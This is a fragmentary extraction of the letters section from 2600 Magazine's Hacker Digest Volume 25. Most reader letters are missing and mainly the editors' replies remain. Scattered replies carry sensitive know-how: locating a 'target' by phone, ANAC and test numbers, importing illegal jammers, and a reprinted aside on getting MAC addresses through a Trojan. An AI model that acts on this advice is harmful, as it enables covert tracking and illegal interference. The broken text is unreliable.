-
-

Tony Zinnanti
First off, it was hardly an attempt at journalism. 

It was an opinion and not an unreasonable one. You 
can’t have someone imprisoned who hasn’t actually 
committed a crime. If this guy did something that 

problem with having him prosecuted. But the issue in 
this particular case, which is how it’s been presented 
from the beginning, is that it’s not possible to charge 
him because he simply hasn’t done anything other 
than make a lot of people very uncomfortable. We 
don’t doubt that he enjoys the attention. And we 
don’t for a minute wish to minimize the hell and 
discomfort you’ve had to go through as a result but 
our position stands on not believing that there are 
shortcuts to justice.

We found your original letter which was sent to 
our webmaster account hence it never made it to 
the editorial department. We are indeed interested in 
how such investigations work and what kind of infor-
mation is discovered about the net in the process, 
regardless of how we feel about the way the case 
should be handled. Our readers would certainly 

Now we will await Mr. McClellan’s response as 
he is no doubt also a reader. How we seem to get 
involved in every controversial issue under the sun 
is beyond us.

Dear 2600:

-
-

highly 

-

“Thok”

Dear 2600:

-

Paul

Sad News
Dear 2600:

I am writing into 2600 Magazine

Hack 
Canada, Nettwerked, and K-1ine Magazine.

2600 Magazine, and 

The Clone
We’re very sorry to hear this terrible news. Our 

thoughts are with his friends and family. As a sad 
coincidence, an article submitted by Phlux is running 
in this issue. We do know he was pleased that it 
was going to be printed and that he told a bunch 
of people about it. The article is entitled "Walk with 
Me, Talk with Me."
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D i a l o g u e

Suggestions
Dear 2600:

Nsane HAcker
It’s so nice of the watchers to make it this easy 

to detect their presence. The piracy world must be 
breathing one huge sigh of relief.
 
Dear 2600:

-

-

-

-

-

Greg
This is living proof that lying and being a royal 

pain in the ass is the true secret to success. If you 
could keep going at this rate, it wouldn’t be long be-
fore you owned the company outright. This is a true 
American success story that serves as an inspiration 
to us all.

Inquiries
 
Dear 2600:

-

-

-

-

-

-

-

-

-
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-
-

Carl
The only prepaid service we’re aware of with 

full-blown GPS is Boost Mobile’s iDEN product (they 
market both iDEN and CDMA products, and only 
the iDEN product includes a precise GPS receiver). 
You could, in theory, write an application to log the 
location periodically and post it to a website using 
the data connectivity package.

Sprint also sells something called Sprint Family 
 

family/signIn.htm for details. This will provide the 
approximate location of your target. However, it is 
not available as a prepaid service.
 
Dear 2600:

-

Tommy
By all means send them in. The address is 

payphones@2600.com. Be sure to use the highest 
quality settings on your camera as low settings don’t 
print well in the magazine.
 
Dear 2600:

2600 meet-

redtape
It’s all pretty straightforward. The meetings 

need to be open to all in a public area with no 
admission charge, age restriction, or anything 
like that. There’s a more detailed set of guidelines 
on our website at www.2600.com/meetings. It’s 
also important to keep us updated by emailing 
meetings@2600.com so we know you’re continuing 
to run the meetings. Good luck!
 
Dear 2600:

must

Did I do something wrong?
Joseph

You didn’t do anything wrong but that’s the way 
the system operates. Most people who email that ad-
dress are looking for information on the meetings so 
we have our robot automatically send a full list back 
plus the set of meeting guidelines. Some people enter 

into a dialogue with what they assume is a really fast 

time you send email to the address (and after a cer-
tain number of weeks beyond that). The alternative 
to this system would be to have yet another email 
address for those people reporting on meetings. That 

deleting that one piece of mail we send.
 
Dear 2600:

-

Some websites do not like when others link to them, 

-

Mike
We don’t do links ourselves but we certainly don’t 

mind anyone linking to us however they please. And 
even if we did mind, we don’t believe we would have 
any right to object. It’s amazing that so many people 
live by rules that basically make no sense.
 
Dear 2600:

-

2600

Liam/M/37
The only way to know if it’s still happening is 

to go there and see. Even if nobody else shows up, 
there’s nothing stopping you from breathing new life 
into it. But we appreciate being told if the meetings 
die out so we don’t have to squish so many of them 
onto page 66. Lately it seems as if everyone is com-
plaining about the tiny type.
 
Dear 2600:

2600

2600s

SAR
We now put all of the code up on our website 

so you don’t have to retype any of it. We’re always 
looking for new and innovative ways of doing things. 
The latest is our 900 page book of some of our best 
articles which is just hitting the shelves with much 
larger type.
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Dear 2600:

etsjobs
Whereas most religions require you to pray or do 

some sort of penance in order to obtain the goods 
and services you desire, with hackers you have but to 
ask and pay our nominal fee. Obtain any password, 
change any grade, even travel back in time when 
necessary! Your wish (plus the fee) is our command. 
Now go tell all your friends.
 
Dear 2600:

The Best 
of 2600: A Hacker Odyssey

The Best of 2600: A Hacker Odyssey? 

-

John
We believe you’re referring to our new book. It’s 

available everywhere, both online and in bookstores. 
It retails for $39.99 and covers the three decades that 
2600 has been around. We don’t sell it ourselves as 
it’s sold directly through the publisher (Wiley). We’re 

much of the historical material we’ve published since 
1984 out into the mainstream. Let’s hope it does well 
so we can do more fun projects like this.
 
Dear 2600:

Eva
Do you really believe that emailing total strang-

ers is the best way to start a new life? We’re not the 
witness relocation people but even if we were, it’s 

whole lot of tips on the net about how to hide and/
or protect your privacy. Advertising your problems to 

the list of things not to do.
 
Dear 2600:

-

Z
You need a decent malware/adware/general crap 

removal program that isn’t worse than the stuff it’s 
supposed to be getting rid of. We’re not going to rec-
ommend one over another because it’ll just start end-
less bickering that none of us will live to see the end 

-
grams that will run in your environment, then look 
for user reviews of their performance before actually 
installing them. And in the future, be careful of what 
you download or open on your system as this is how 

Dear 2600:

2600

-

Haestar
This sounds like material for a really informative 

article if someone out there has done the research.
 
Dear 2600:

submit to 2600

R
Just send us what you’ve got. We can read most 

anything but to be safe always send along a plain 

com.
 
Dear 2600:

-

Phobus
No, you certainly don’t.

 
Dear 2600:

Donna
We accept all kinds of crap from people and we 

-
nition. But we’d rather not have to wade through a 
pile of public relations nonsense in order to get to 
the words of our readers, which is what the email ad-
dress (letters@2600.com) you contacted is set up for. 
Oh yes, and we also don’t send out personal replies. 
But you knew that.
 
Dear 2600:

2600

 

-
ner here?

Tom
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We have many partners in crime in Austria, but so 
far no partners in magazine distribution. Your best bet 
is just to get a subscription and have it mailed to you 
directly from us. And of course we’d be interested in 
seeing your article.
 
Dear 2600:

[Name Deleted]
Well, we would start with erasing your latest 

crime, that of soliciting a minor to commit another 
crime. (Your request was read by a small child here 

send out the bill for hiding your identity by not print-
ing your real name, which you sent us like the meat-
head you apparently are. After that’s all sorted, we 
can assemble our team of hackers, who sit around 

to shake you down. It’s what we do, after all. Just ask 
Fox News.
 
Dear 2600:

erik
It seems odd that you have a picture phone with 

no means of sharing pictures. If you can use email 
on your phone, you could always email them to us. 
If that doesn’t work, you’re just going to have to send 
us the phone. (And don’t forget the charger.)
 
Dear 2600:

2600. Whilst taking a break, 

on 2600

2600 -

-
tion?

-
-

2600
2600

members?

Acidevil
Well, thanks for depressing the hell out of all of 

us. Clearly we need to start thinking about how to 
incorporate death into our business plan. We’ll try 

HOPE.
Lifetime subscriptions really are intended for your 

(or our) lifetime. When one of those ends, the sub-
scription ends. It’s not meant to last for the lifetime of 
the human race, as you are apparently already plot-
ting to do through your future unborn generations. 
If this kind of abuse prevails, we might have to cap 
these subscriptions at 120 years or however long 
people are living to these days.

We’ll make every attempt to live long enough to 
ensure that you get your money’s worth from your 
lifetime subscription. This is the solemn promise we 
make to all of our readers.
 
Dear 2600:

-

chris
Yes, and you really should have gotten it. Please 

let us know if you see this.
 
Dear 2600:

member?
Musique Maison

Not so fast there. You don’t get a personal visit 
until you publish 20 articles! Nice try though.
 
Dear 2600:

-

ero0cool
You’re referring to the company whose CEO goes 

around advertising his Social Security number saying 
that he has nothing to worry about because he uses 
the service he’s peddling to protect his identity. All 
this tells us is that the availability of SSNs has got-
ten so common that it’s almost a trivial detail at this 
point. We’re expected to give them to the phone 
company, employers, banks, schools, and virtually 
anyone who asks for them. Since so many people still 
don’t know how to say no, a whole business based 
on fear has popped up under the guise of protecting 
you from exploitation. You really don’t need a com-
pany to do this. As you say, a little common sense 
goes a long way. Keep your private information to 
yourself, don’t advertise anything about your private 
life on the Internet that you wouldn’t want Charles 
Manson to know about, and keep a close eye out for 
any electronic transactions that may not be yours. 
Like any disease, prevention and early treatment will 
go a long way.

Observations
 
Dear 2600:
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2600

f0xR4c3r
That recording has been around forever, well be-

fore Verizon even existed. In the New York area, the 

of a particular exchange. It used to be that dialing 
anything in the 99xx series would hook you up to 
something being run by the phone company. 9970 
would always get you a busy signal, 9971 a fast busy 
(reorder), 9979 a sweep tone, and 9950 oftentimes 

you could easily wake up a customer in the middle 
of the night if you try any of these numbers as they’re 
now being used as non-magical extensions.
 
Dear 2600:

-

-

-

-

-

2600

Padraig
We doubt such a thing would be tolerated for 

very long over here, unless people were told it was 
needed for homeland security or something. And 
what are the odds of that? But it would be helpful to 
expose the name of the company running this kiosk 
and stirring up some outrage about these practices. 

 
Dear 2600:

like all senior network engineers like to brag about 

-

-

-
-

tim
It’s really not much more than the power of sug-

gestion.
 
Dear 2600:

-

CJ Lorenz
We will.

 
Dear 2600:

-
-

-

-

-

-

2600

rmpants

this has happened to them. We’ve also heard people 
say they can hear the called party before they an-
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swer. In your case though, we’re curious as to what 
you believe the risk is to you if you can hear people 
speaking before you answer their call. Also, why ex-
actly are they speaking before you pick up? We think 
you should use this opportunity to run all sorts of 
experiments.
 
Dear 2600:

Off 
The Hook -

-

-

-

SiKing
Dear 2600:

Bob
At least now we know what the grunting sound 

was. Very similar conversations take place in all sorts 
of households around the world when 2600 clothing 
makes its entrance.
 
Dear 2600:

-

-

can -

entering the username and password, I was taken to 

-

messages sent to me

-
-

-

-

Noli
Incidentally, we have a very interesting piece on 

text messaging in this issue’s “Telecom Informer.”
 
Dear 2600:

Jigsaw
We only got as far as four of the eight issues need-

ed to make it complete (not in issue order, either). 
But two things happened that hastened the project’s 
demise. One was that the new binding sucked and 
was causing our readers much distress. The other 
was that some of our smart alecky readers had al-

“Surprised?” We certainly were.
 
Dear 2600:

-

-

-

Barrett Brown
 
Dear 2600:

-
-

Freedom Downtime

-
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Esquire about his time at the Balti-
more Sun.
he presented it as entertainment, too, so keep it in 

Peter DiGiovanni
Simon’s cynicism about the plight of newspapers 
and the media at least led him to write and produce 

of television worthwhile.
 
Dear 2600:

Ghost Rider 2099

-

he said “Phrack and 2600

Ghost Rider 2099
Phrack and 2600, 

Lo$er

comics. We just hope Warewolf is OK.
 
Dear 2600:

2600 

-

Wired
aurfalien

 
Dear 2600:

2600.

both 2600 and Linux Pro.
2600 re-

-

-

-
-

-

-

-

-

-

it turned out he was also a 2600 reader though he 

through a 2600

2600, 
Linux Pro,

2600 -

-

Dr. C.
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Critique 
 
Dear 2600:

-

-
-

-

-

-

Gunslinger
Other than that, you enjoyed it?

 
Dear 2600:

-

Chris A.
-

amples because it almost seems as if you’re claiming 
that security holes somehow represent freedom of 
information.
 
Dear 2600:

2600

-

-

-

-

-

-

-

-

Shocked998
We do in fact edit letters. If we didn’t you would 

have great trouble reading a lot of what is sent to us. 
Plus, spelling and punctuation errors are no fun for 
anyone. With a few special exceptions which come 
along every now and then.

for example, that a viewpoint is paranoid. It gives us 
the opportunity to counter the point, assess our own 
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beliefs, and mark you down as part of the conspiracy.
Oddly enough, the sarcastic reply you mention in 

item #3 has apparently been taken as gospel by some 

As for the fate of the hotel, we have one last 
hope. And we hope you’re a part of it.
 
Dear 2600:

-

-

Uninformed Journal

-

-

-

Druid
 
Dear 2600:

Stop your inresponsible word! Tibet is, was and 

-

indiana_lau

on about and why you think it has anything at all to 
do with us.
 
Dear 2600:

2600

2600 to illus-

-

-
-

-

-

2600 is getting “too 

-

-
-

2600

-

iivix

Projects
 
Dear 2600:

journalism and I’m putting together a letter to the ed-
New York Review of Magazines 

-

to the editor should
2600 -

-

dave
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Sounds like a great idea and we’re certainly open 
to this sort of thing. But we have all we can do to 
go through the piles of letters that come in and se-
lect which ones to print without also responding 
to a whole other pile of project ideas like this one. 
We didn’t even see your letter until well past your 
deadline, not that we likely would have had time to 
respond if we had seen it before. So for the future, by 
all means, do something artistic with our stuff. Just 
give credit and let us see what you come up with.
 
Dear 2600:

David

doesn’t help you, perhaps the following real world 
account will.
 
Dear 2600:

and was disappointed at the end to see the note that 

-

-

-

Breaker Boy
 
Dear 2600:

-

-

Inmate #210266

Responses
 
Dear 2600:

yes,

-

-
near the speed 

nearly

-

-

-

-

Emperor
We would really like this issue to be resolved one 

way or another as soon as possible. Is that too much 
to ask?
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Dear 2600:

-

-

A Brief 
History Of Time

Omega_Iteration
 
Dear 2600:

2600

Zach C.
 
Dear 2600:

-

-

-

Exo
 
Dear 2600:

in this newest issue, I wrote a program that will per-

Rob
One really swell way would be to send us the 

program or give us a link or something - anything.
 
Dear 2600:

-

Peet the geek
 
Dear 2600:

I am writing this letter in response to “Transmis-

-
-

-

-

-

-

-

Unr3a1
 
Dear 2600:

-



THE HACKER DIGEST - VOLUME 25    

243

-

-

-

Ed
 
Dear 2600:

-
-

-

-

-

-

-
-

m0untainrebel
While perhaps your everyday computer nerd will 

be able to get into this habit, that won’t accomplish 
much insofar as getting your parents and grandpar-
ents to achieve the same level of protection. First, 
the method has to be simple, intuitive, and secure. 
Second, and most importantly, the people must be 
enlightened to the concept of not leaving everything 

out in the open. Too many of us willingly give away 
too much information about ourselves for no good 
reason. Everyone has something they want to keep 
to themselves and until that’s seen as a good thing 
worthy of being encouraged, we’re going to have a 
tough time getting non-technical people to take these 
basic precautions.
 
Dear 2600:

-

-
-

-

-

-

creepyinternetstalkerdude

Problems
 
Dear 2600:

-

2600

Morgan
Have you been outdoors at all this year? There’s a 

whole world beyond IRC, trust us. And even if there 

how we could possibly care less about any of this. 
We hope we were able to help.
 
Dear 2600:

are selling 2600

route
It’s almost not really a letter too. But it’s an inter-
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esting factoid. The Australian dollar at press time is 
worth 95 American cents so it’s almost exactly even. 
Even with all of the various charges that go into over-
seas distribution, charging nearly 200 percent over 

making a lot off of us. And it ain’t us.
 
Dear 2600:

-
-

broken

Martha Adams
First, when did we become one of the largest 

magazines in print? We must have missed something. 
As for Usenet, yes, it’s sucked for quite a while now. 
Moderated newsgroups are really the only possible 
means of having interesting discussions and getting 
useful information, provided of course that the mod-
erators don’t abuse their power. Uncontrolled news-
groups invariably lead to chaos and spam. There are 

on Usenet.
Dear 2600:

I started going through the issue I was a bit disap-

-

Krista
This is a problem that seems to have affected 

some readers in Canada. The printer tells us it didn’t 
happen to a large number of issues. Our readers are 
vital in letting us know when such problems occur 

stuck with a defective issue, email subs@2600.com 
and we’ll take care of it.

Dear 2600:

-

-

-

Sneak Email from a Vendor
 
Dear 2600:

-
-

-

2600.
 

Paddy
We’d like to know if others have experienced the 

same thing. Thanks for writing.
 
Dear 2600:

-

-

-

Regards from Austria
Markus

That does happen on occasion but it most always 
is a situation that resolves itself after a few hours. We 
suggest trying a few times. If it persists over days, 
then it would be worth pursuing.
 
Dear 2600:

Off The Hook

-
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-

The very kindest of regards from a somewhat sunny 
and warm southern England

Nick (or should that be N1ck perchance?)

naming scheme of the earlier years. We will cheer-
fully post any programs that automate the renaming 
process on our website.
 
Dear 2600:

-

-

-

The Jeff
 
Dear 2600:

2600 pub-

-

-

-

2600 and Make Maga-
zine. -

-

Don’t waste time arguing with middlemen, go to the 

2600, -

Max Rider
SBI 00383681
Unit 21, DCC

1181 Paddock Rd.
Smyrna, DE 19977

Good Things
 
Dear 2600:

2600
-

ExPhillyMM
 
Dear 2600:

Apathy
 
Dear 2600:

-

-

Israel Torres
Dear 2600:

2600 

staple-binding so

Lex
We really had no choice after a year of one prob-

lem after another. It would have been nice if the oth-
er binding had worked out but for whatever reason it 
didn’t, so staples it is.

Immortalize yourself with a good old-fashioned 
letter to 2600. Simply email letters@2600.com 

or send snail mail to 
2600 Letters, PO Box 99, 
Middle Island, NY 11953. 

It may be the best decision you make this year.
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c o m m
u n i c a

t i o n s

Information
Dear 2600:

2600

most interesting theories and stories out there in the 

Best of 
2600

2600

-

-



THE HACKER DIGEST - VOLUME 25    

247

-

-

macnutzj
We have a feeling this all too brief letter only 

touches upon what’s really out there. Thanks for 
writing.

Dear 2600:

 

Sometimes it’s embedded in a banner so don’t bother 

Still want more?

-

R3t0DD
We regret that your letter wasn’t actually printed 

until after the summer but we’re sure our readers will 
adjust.

Dear 2600:

-

-
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-

Bus boy
At some point you’re going to run into the same 

driver when pulling this scam. They may not remember 
right away but eventually you will become the equiva-
lent of a folk legend within bus driver circles. Just be 

crack the ticket tearing caper.

Meeting Issues
Dear 2600:

month’s meeting and I just remembered to email on 

2600 -

2600

2600 -

Jem Tallon
Fargo 2600

and done in a positive spirit. And contrary to the 
rumor, it’s not a requirement whenever making shirts 
that mention 2600 or the meetings to send us three 
of them (either M, L, XL or L, XL, XXL). So don’t feel 
obligated to do that. Our address is in the staffbox in 
case you do.

Dear 2600:
2600

Robert
Meetings tend to work best in metropolitan areas 

where there are likely a number of people in fairly 

close proximity who will take an interest. If you think 
your area has potential, then your priority should be 
getting the word out in whatever way you can. One 
technique which has worked in the past is to make 

sitting on your local bookstore’s shelves. It takes a lot 
of patience and word of mouth to get a good meeting 
started. Be sure to read the guidelines located at 
http://www.2600.com/meetings/guidelines.html and 
email us updates at meetings@2600.com so we know 
you’re still in existence. Good luck!

Dear 2600:
2600

DrF
This leads us to an issue which pops up every now 

easy solution. As stated in the guidelines mentioned 
in the previous letter (which you should have gotten 
an automated copy of when you emailed us), our 

seem like a stupid and bureaucratic reason not to list 
a meeting but there is a degree of logic behind this 
policy. If we had both Friday and Saturday meetings, it 

one or the other. We came close to doing this at one 
point only to be told that those who couldn’t attend 
our normal Friday evening meetings due to religious 
observances (a somewhat sizable number) would be 
doubly pissed that we’d be excluding them by having 
Saturday as the alternate day. That meant a third day 
would have to be a possibility too.

Then we started hearing from people who felt the 
weekend in general was a bad time and we started 
getting requests for meetings on the third Tuesday or 
for the last Monday afternoon of the month. Apart 
from the printing nightmare this would create on 
our already crammed meeting page in the magazine, 
having meetings on so many different days would 

“2600 meeting day,” something we haven’t had a 
problem with since the inception of the meetings over 
20 years ago because they’ve consistently been held 

We know there will always be people for whom 
Friday evening is inconvenient or even impossible. If 
we tell these people it’s OK to have meetings on a 

other people in that area who don’t have a problem 
with the standard day or with others who want yet 
another day of the month. Then it becomes a power 
struggle as to which group of people will dominate 
and before you know it there are factions and multiple 
meetings. As always, we’re open to ideas and sugges-
tions on ways to make this work for everyone - or at 
least for as many as possible. We believe the system 
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has worked quite well over the years as is, but if 
there’s a way to include others without causing confu-
sion, we’re open to it. As you can see below, there are 
other instances of this.

Dear 2600:

-
-

TIA

Dear 2600:

Eric
We don’t give out personal information for anyone 

involved in meetings (or anything else). Technically, 
we don’t even have meeting coordinators, so anyone 
attending (yourself included) would be a potential 
contact. The communication angle is handled by 
the attendees themselves. That’s why it’s a good idea 
for meetings to have web pages and forums so that 
people can converse about the meetings and get 
updated information.

General Questions
Dear 2600:

-
-

Alex
It sounds like a fascinating idea and we’d be 

eager to see what you come up with. As we say to 
everyone who writes in, please write the article you’re 
thinking of writing and assume that we’d be interested 
in running it. Obviously we can’t promise anything 

better than not writing.

Dear 2600:

Kevin
After spending a considerable amount of time 

-
tion meant, we were able to determine that green dot 
cards are offered by various retail outlets in the United 
States and serve as prepaid credit or debit cards. They 
work in the same way except they are replenished with 
cash deposits which are made at the store. That and 
they have a number of fees which tend to get people 
aggravated. Since you need to actually receive a phys-
ical card in the mail at some point, it’s not something 
we would consider entirely anonymous, although 
with a little imagination it could be used in a much 
more hidden way than a normal credit card. Green 
Dot used to operate a service known as WebSecret, 
which they described as “not requiring you to provide 
personal information, such as social security number 
and name.” Those days are apparently over as Green 
Dot now requires that info for all accounts. We would 
be interested in hearing what today’s best methods are 
for remaining anonymous while using plastic.

Dear 2600:

Adam

things that make a degree of sense to you, then plunge 
into them. Look for other people doing the same thing 
and you’ll be immersed in all kinds of material before 
you know it. While classes can be good, the struc-
ture and obsession with grades can be a real turnoff 
to many.

Dear 2600:

Terry
You’re thinking of the old 1-800-MY-ANI-IS 

number. If you call it now, you’ll be advised to call 
10-15-15-800 (in actuality this is carrier access code 
1015158 followed by two zeros to reach that compa-
ny’s “operator” service). This service is a huge rip-off, 

-
tory assistance service which has nothing to do with 
the above number.

Just about any toll free number will have your ANI 

the billing number, usually the same as Caller ID which 
is the calling number.) Many credit card services and 
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other companies with toll free numbers will happily 
read off the number they see in order to verify your 
account. A good example of this is the one run by MCI 
at 1-800-444-4444. Most phone company central 

use of ANACs, (Automatic Number Announcement 
Circuits) which are usually used by phone company 

958 and 9580 are common ones in our area but there 
are many varieties of this throughout the States and 
Canada. But if Caller ID is good enough for your 
needs, simply calling a nearby cell phone will yield 
the number you’re at on its screen.

Dear 2600:

Freedom Downtime and while I 
-

KNiGHT
We have all sorts of bulk discounts at our online 

store (http://store.2600.com) and currently the price 
for every last one of our back issues is $325. (We 
started in 1984, incidentally.) You might also want 
to consider our new book which comprises an awful 
lot of articles we’ve printed over the past 24 years. 
That’s available in bookstores or at http://www.2600.
com/book. As for the DVD you have, there’s most 
always a way of playing the disc even if you run into 
a player that has problems with the multiple features. 
Try hitting the menu key a bunch of times or play and 
stop. Sometimes the play button followed by the menu 

it at all. Please contact our support people at down-
time@2600.com if you continue to have problems.

Dear 2600:
2600 when I 

-

Oxilary
We can almost guarantee it won’t make it in time 

for this issue and we don’t do personal responses to 
letters because of the enormous amount we get. While 
our covers are done in-house, we’re always open to 

include it. You can either mail it to the physical address 
listed on our staff page or email your submissions to 
articles@2600.com. We appreciate your interest and 
hope your system crashing days are over.

Dear 2600:

Anonymous

jammer in a store in the States. That’s not to say they’re 
not there but, as they are illegal to sell (and own) in 
the U.S., it would be tricky at best. You shouldn’t have 

net that can be shipped to you, however. In most 

or something similar. You might wind up having to 
pay some additional duty but otherwise there doesn’t 
seem to be much of a problem importing them. We 
do suggest you use them sparingly and with a degree 
of discretion.

Dear 2600:

-

Matt
Again, we’re willing to see whatever articles 

people write. While it’s kind of hard to believe it 

practices you allude to, we’re always eager to see how 
people try to defeat systems.

Dear 2600:

Andrew
Sent from my iPhone

While that’s your right, we’re fortunate that not 
everyone does that. If they did, then we wouldn’t be 
around for very long. Unlike other magazines, we 
rely solely on our readers to keep us going. Other 
publications simply rely on advertisements . They 
can actually not sell a single issue and still convince 
their advertisers that people are being exposed to the 
ads, perhaps in scenarios such as yours. We don’t 
have that luxury, nor do we want it. You’re obviously 
reading us for a reason so we hope you’ll see the 
connection between supporting us and having the 

Dear 2600:

Steph
The MP3s are already online and the DVDs are 

also available. We seem to be getting better at this as it 
was all done in record time this year with more mate-
rial than ever. And while the hotel is always in a state 
of renovation, it’s the destruction that seems to have 
been shelved, at least for now. And yes, this was the 
last HOPE conference. The next one will be the next 
HOPE conference. We’re sorry for any confusion this 
may have caused.
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Dear 2600:

daniel
Since we apparently won’t fool you with the 

obvious reason, we can tell you the real one: to get 

month so that the monitoring devices can be installed.

Dear 2600:

Brian V.

respond to this with “You begin as a beginner like 
everyone else, with a white belt. A good start would 
be calling me Sir.”

Proclamations
Dear 2600:

my apologies for not signing
please heed my advice

thank you
Anyone who can ghost an AOL account clearly 

knows what they’re talking about. The hackers of the 
world will take this solemn duty most seriously.

Dear 2600:

Swinger

We can only wonder what a letter from you 
when you were 13 would have looked like. Thanks 
for all of the identifying information (including your 
phone number) that you sent us but we think it’s utter 
nonsense. That’s right, we don’t believe you could 
hack a typewriter, much less Yahoo. Of course, if you 
were really good you’d hack Google or maybe even 
the government. But we don’t think you’ve got what 
it takes. No skills whatsoever. Of course, if we were 
wrong, we’d sure look stupid and you’d look totally 
awesome. But we’re not. We’re right and you’re lame

This should be fun.

Dear 2600:
I applaud the return to staples in response to the 

Trollaxor
There’s something strangely reassuring in that. 

Dear 2600:

2600
-

-

jodi
These aren’t really new questions and in fact a few 

of them are basically the same question rephrased. 
-

nation after so many years. We did our best to at least 

theorize on the rest or track down people who actu-
ally know what the true agenda was.

Dear 2600:

require -
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-

to keep their Windows up to date and laden with anti-
malware is ambiguous about whether it represents 

-

-

anti-malware nonsense installed and running?

Jeff
We hope to see an article or two on this.

Dear 2600:

Homeless Hacker
Well, as an addict, you should realize the impor-

anger the supplier.

Dear 2600:

Lord Pong

Ripping people off isn’t what hacking is about. 

but using it for personal gain like this is simply bad 
for the community. In your case it looks like you just 
managed to avoid being spotted. Not exactly high 
tech but it can be effective. Keep in mind, though, that 
these events cost money to put on and only survive 
because people contribute. If you think it costs too 
much, there are lots of other more effective ways of 
letting that be known.

Help Needed
Dear 2600:
Do not publish in any way (spoken or print).

Ian
So why did we publish this despite your explicit 

info so it’s unlikely you will be found out. Second, you 
sent this to our letters section which exists solely to 
print letters. Third, your question deserves an answer 

Obviously, we don’t know people everywhere 
who can teach others in their area (especially since 
we totally wiped your info and no longer even know 
where your area is). But we can tell you generally that 

going to 2600 meetings or the various conferences 

a tutor isn’t all that different from taking a class. The 
informal approach in more of a social setting tends to 
have better results in our experience. You want this 
to be something you look forward to, not something 
that’s a chore or an obligation. If you have a real 
interest in the subject matter, then this shouldn’t be 
an issue. And don’t completely eliminate the possi-
bility of taking a class if it pertains to what you want 
to pursue. There is no law that says you have to care 
about the grade you get.

Dear 2600:
I am aware that 2600,
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-

Singa Crew
(cyber-activist based in Singapore)

This is indeed a scary story that deserves much 
more attention than it’s gotten. We encourage our 
readers to help spread the word. This could happen 
to anyone.

Experiences
Dear 2600:

Micah
We suspect there will be some interest in this.

Dear 2600:
The Best of 2600

-

drlecter
This has actually been going on for some time. 

Somebody got the bright idea to subscribe to us at 
the corporate rate and then try and resell the maga-
zine through Amazon. It’s not something we can 
really stop since they’re not breaking any rules. But 
judging from the amount of negative feedback posted 
on that site, we doubt they’re doing very well. And 
quite a few people have indirectly found themselves 
browsing through our online store because of this so 
it’s a weird form of publicity we’re getting out of this.

Dear 2600:

-
2600

-

Oprah

Oprah

-

Shai
It sounds like you may have only gained access 

to the basic cable part of your package which might 
actually be the way Cablevision intended it to work 
for people who are late on their bills. Frantically 
pushing buttons can sometimes force certain modes 
to activate so that’s often a good way to proceed in an 
emergency such as yours.

Dear 2600:

-

-

2600

 
 

Noah
Thanks for the free plug.

Dear 2600:

-
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Mojo
2600.

2600 

2600

2600.

2600

2600 has to be 

2600

S1m0nS3z
We know even without asking that such a directive 

would make no sense at all. We don’t know what kind 
of games are going on at that store but it wouldn’t be 

of our issues. We thank you for continuing to ensure 

thing continues, we suggest you speak to the manager 
about it.

Dear 2600:

Cracker Spion
Well, there’s at least one book here and without 

doubt a major motion picture as well. It’s clear to 
see what makes these people the talented hackers 
that they are. Why can’t the rest of the world under-

out why Zero Cool went to war and who the hell 
Granit is. Truly fascinating stuff.

The Best of 2600
Dear 2600:

The Best of 2600 

Hans
There are no discounts from us as we’re not the 

ones publishing it. But you can certainly hunt around 

online and off.

Dear 2600:
The Best of 2600 

mikef
It’s certainly possible if the publishers go for it.
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Dear 2600:

was in order and I opened The Best of 2600 while 

Jeff Strauss
Formerly known as “Cunning Linguist”

Your immortality has now been achieved.

Problems
Dear 2600:

Vikas
New Delhi

This was most likely a postal issue. We’ve 
forwarded your mail to the subscription department 
as you sent this to the letters department. (Yes, they 
are different people entirely.) That address, inciden-
tally, is subs@2600.com.

Dear 2600:

-

2600
2600 mode 

2600

-

2600 is 

I wish 2600

Daniel
We applaud your positive and enlightened 

outlook on life’s little setbacks but you really should 
let us know if we ever screw up like that and we’ll be 
happy to make things right.

Dear 2600:

-

to get The Best of 2600 

Terry Stenvold
We’re really sorry about how that article got 

majorly messed up in a couple of places. This was the 
result of a computer error that took place after the 
proofreading process. We also neglected to mention 
the availability of source code from the article in our 
code repository (http://www.2600.com/code).

We’re reprinting the affected sections from the 
article which appeared on page 6 and 7 of 25:2. The 
paragraph under “General Information” should have 
read as follows (missing sections in bold):

“As you may know, there is a new feature included 
in the Google maps 1.1.3 update for the Apple 
iPhone and iPod Touch; the “Locate Me” feature. 
The new feature is provided by another company 
called Skyhook Wireless (http://www.skyhookwire-
less.com/). Skyhook's system is named WPS, for 
Wireless Positioning System, and locates users by 
knowing the location of their wireless access point. 
In another context, “WPS” also is a term coined by 
the Wi-Fi Alliance to mean "Wi-Fi Protected Setup." 
Skyhook performs their location features in a unique 

geographic location of individual access points. The 
Skyhook website states that information is obtained 
by deploying hundreds of data specialists who scan 
and locate access points using proprietary scan-
ning vehicles. Skyhook deploys approximately two 
hundred wardrivers to scan and locate access points 
and they then append this information to a large refer-
ence database. The problem with the system, other 
than knowing someone has driven by your house 
or business and added your AP's information to a 
large database, is that a third party can then locate 
you with only your MAC address. I recently emailed 
Skyhook and asked if there is a way for people to 
locate me through their service. They responded, 
“no, in no way can anyone track your location.” The 
second question I asked was if it is possible to have 
someone's AP address removed from their database. 
They responded, saying that they “cannot remove 

-
nition broadcasts a radio beacon.... The only way 
to stop an access point from broadcasting its pres-
ence is to unplug it.... we don't actually identify the 
location of access points, just the signals that they 
create.” This information is particularly unsettling 
since Skyhook claims no other way to remove an 
AP's address from the database besides unplugging 
the access point.”

In addition, the last line of the “Step 1” paragraph 
was truncated and should read:

“Gaining access to a computer through a Trojan 
horse and running the command “arp -a” will also 
allow someone to obtain a MAC address on a 
Windows machine.”

In addition, there was a slight mangling of text on 
page 55 in the “Bank of America” article. The affected 
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section should have read:
“The “54XXXXXXXXXXXXXX” is the full credit card 

number of the account. Because this information is 
in the URL, it is stored in server logs. It is also kept 
in the web browser's history, where it can be seen 
by future users of the same computer. This is where 
the ability to read other customers' statements comes 
into play.”

Again, we’re very sorry this foulup happened and 
will take extra precautions to ensure that no repeats 
of this occur.

Dear 2600:

a job.

-

in IT, either as an admin or just the poor dupe who 

-

Psion the GateKeeper

Requests
Dear 2600:

-

John

we would love it. But putting together an index with 
all of the material we have would take an eternity. 
Right now your best bet is to search for keywords 
in titles on our online store (http://store.2600.com). 
Maybe someday we can make this happen.

Dear 2600:
2600 Hack-Tic 

demon dialer? People at Hack-tic

xemail
The call is out.

Dear 2600:

E
That would be something else that requires quite 

a bit of coordination. Getting the book out was a 

a while. As for our discounts, we can only go so far. 
Printing and postage costs are constantly going up so 
there’s a limit to how much we can slash, even on 

moment we’re unaware of any other printed maga-
zine that does what we do.

Contributions
Dear 2600:

-

some?
